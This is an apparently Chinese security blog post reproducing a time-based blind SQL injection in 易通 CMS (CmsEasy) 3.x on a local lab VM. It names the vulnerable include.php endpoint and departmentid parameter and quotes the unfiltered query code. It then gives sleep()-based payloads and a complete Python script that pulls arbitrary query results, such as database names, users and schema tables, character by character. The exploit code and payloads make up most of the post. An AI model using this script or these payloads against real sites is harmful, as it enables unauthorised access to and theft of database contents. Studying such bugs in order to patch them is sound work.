美文网首页
易通SQL时间盲注复现

易通SQL时间盲注复现

作者: 漏斗社区 | 来源:发表于2017-11-14 15:03 被阅读0次

易通CMS是一个企业网站建站系统,本期带来其3.X.X版本中,前台SQL注入和后台文件上传的漏洞复现过程。

基础环境:

1. 虚拟机win2003搭建phpstudy作为web环境,IP为192.168.159.185。

2. CmsEasy V3.X.X 源码一份。

源码部署过程:

1. web环境的选择使用PHP 5.2.17+apache的环境。

2. 将易通CMS部署到网站根目录上

下载地址:http://pan.baidu.com/s/1dET5uY9

 密码:shxn

解压完成后,将源代码直接放置win2003 的phpstudy的WWW根目录上。

3. 访问网站IP,进行搭建。

4. 根据提示,依次填写数据库帐号密码,数据库名,网站管理员帐号密码等。

5. 安装成功,会跳转到后台登录页面。

漏洞复现过程:

1. SQL注入点位置:http://IP/celive/js/include.php?cmseasylive=1111&departmentid=0

2. 下面是include.php的部分代码。

if (isset($_GET['departmentid'])) {

$departmentid = $_GET['departmentid'];

$activity_sql = "SELECT `id` FROM `".$config['prefix']."activity` WHERE  `departmentid`='".$departmentid."' AND `operatorid`='".$operatorid."'";

$onlinelink2 = '';

@$result2 = $db->my_fetch_array($activity_sql);

分析代码,可以输入到参数departmentid的值会传递到$activity_sql去查询,此处没有做过滤,但也没有回显查询结果和爆错语句,因此可以尝试使用字符型的时间盲注。

3. 基本payload

include.php?cmseasylive=1111&departmentid=0' and sleep(5) AND '1'='1

include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"

4. 写个python脚本来跑时间盲注。

#-*-coding:utf-8-*-

import requests,string,time

url="http://127.0.0.1/cmseasy/uploads/celive/js/include.php?cmseasylive=1111&departmentid=0'+and+if((%s)+regexp'^%s',sleep(5),0)+and+'1'='1"

payloads=string.letters+string.digits+"_-:@.,"

def cmseasysql(sqli):      #sqli为你输入的sql语句,如select database()

temp=''

for j in range(100):

l1=len(temp)

for payload in payloads:

payloadtmp=payload

payload=temp+payload

uri=url%(sqli,payload)

#print uri

startTime=time.time()          #请求前记录初始时间

response=requests.get(uri)

if (time.time()-startTime)>5:  #请求后时间差是否大于5

temp+=payloadtmp

print 'Get_Data:'+temp #方便查看结果,可注释

break

l2=len(temp)

if l1==l2:  #此处是优化速度,跑到数据就不再循环,判断依据是长度

break

print temp

def runsqli():  #while循环:可以一直查询SQL语句

while(1):

sqli=raw_input("Input you sqli: ")

cmseasysql(sqli)

if __name__ == '__main__':

runsqli()

运行效果:

输入的语句,可以是select database(),select user(),select tables from information_schema...

5. 爆绝对路径漏洞。

小结:

本次漏洞复现主要是斗哥用来练手sql时间盲注和脚本的编写了,注入语句用的是正则+if函数来进行的,大家有什么更好的姿势也可以提出来交流交流,cmseasy原本有上传漏洞的,不过此次的版本对这个漏洞做了修改,没能复现出来。大家可以回去试试看哪个版本。

相关文章

  • 易通SQL时间盲注复现

    易通CMS是一个企业网站建站系统,本期带来其3.X.X版本中,前台SQL注入和后台文件上传的漏洞复现过程。 基础环...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • SQL注入-时间盲注

    特别声明:该文章只运用于学习安全测试交流之用,请勿用于其他 时间盲注原理 当页面既不回显数据,也不回显错误信息时就...

  • DVWA之SQL Injection(Blind)

    ————SQL Injection——(Blind)—— SQL Injection(Blind),即SQL盲注,...

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • 2019-02-24 sql注入

    sql注入主要分为显注和盲注,显注就是你注入的sql语句可以显示的显示到界面上,告诉你的语句对还是错。盲注就是不会...

  • sql盲注学习笔记

    sql盲注 在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己去体会才能知道到底是什么样子的。 ...

  • 强网杯2019-WEB-随便注

    漏洞复现地址https://buuoj.cn/challenges#[强网杯%202019]随便注] 考察SQL注...

  • sql注入-盲注

    注入源代码 1.left()判断数据库版本

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

网友评论

      本文标题:易通SQL时间盲注复现

      本文链接:https://www.haomeiwen.com/subject/mgqfvxtx.html